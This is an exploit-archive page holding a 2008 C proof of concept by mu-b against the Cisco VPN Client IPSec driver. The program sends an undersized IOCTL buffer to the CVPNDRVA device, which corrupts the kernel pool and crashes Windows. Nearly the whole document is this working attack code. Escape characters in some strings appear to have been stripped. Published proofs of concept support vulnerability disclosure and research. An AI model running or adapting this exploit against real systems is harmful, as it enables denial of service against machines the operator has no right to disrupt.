[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Cisco VPN Client IPSec Driver Local kernel system pool Corruption PoC
# Published : 2008-01-15
# Author : mu-b
# Previous Title : Crystal Reports XI Release 2 (Enterprise Tree Control) ActiveX BOF/DoS
# Next Title : Novell eDirectory < 8.7.3 SP 10 / 8.8.2 HTTP headers DOS Vulnerability


/* cpndrv-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC
 * by mu-b - Sat 11 Jan 2008
 *
 * - Tested on: CVPNDRVA.sys 5.0.02.0090
 *
 * specifying an input buffer size less-than 8+31-bytes results in the
 * local kernel non-paged pool (METHOD_BUFFERED) being corrupted with
 * uninitialised (dangling) kernel stack memory via an inline memcpy.
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define CVPN_IOCTL    0x80002038
#define CVPN_LEN      0x10       /* n < 8 + 31 */

struct ioctl_req {
  char arg[CVPN_LEN];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("Cisco VPN Client IPSec Driver local kernel system pool corruption PoCn"
          "by: <mu-b@digit-labs.org>n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!nn");

  hFile = CreateFileA ("\\.\CVPNDRVA", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %dn", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0x00, sizeof req);
  req.arg[0] = 0x69;

  /* corrupt the system pool */
  printf ("* hitting.. [sizeof: %d]n", sizeof req);
  Sleep (5000);

  result = DeviceIoControl (hFile, CVPN_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failedn");
      exit (EXIT_FAILURE);
    }
  printf ("donenn"
          "* hmmm, you didn't STOP the box?!?!n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// www.Syue.com [2008-01-15]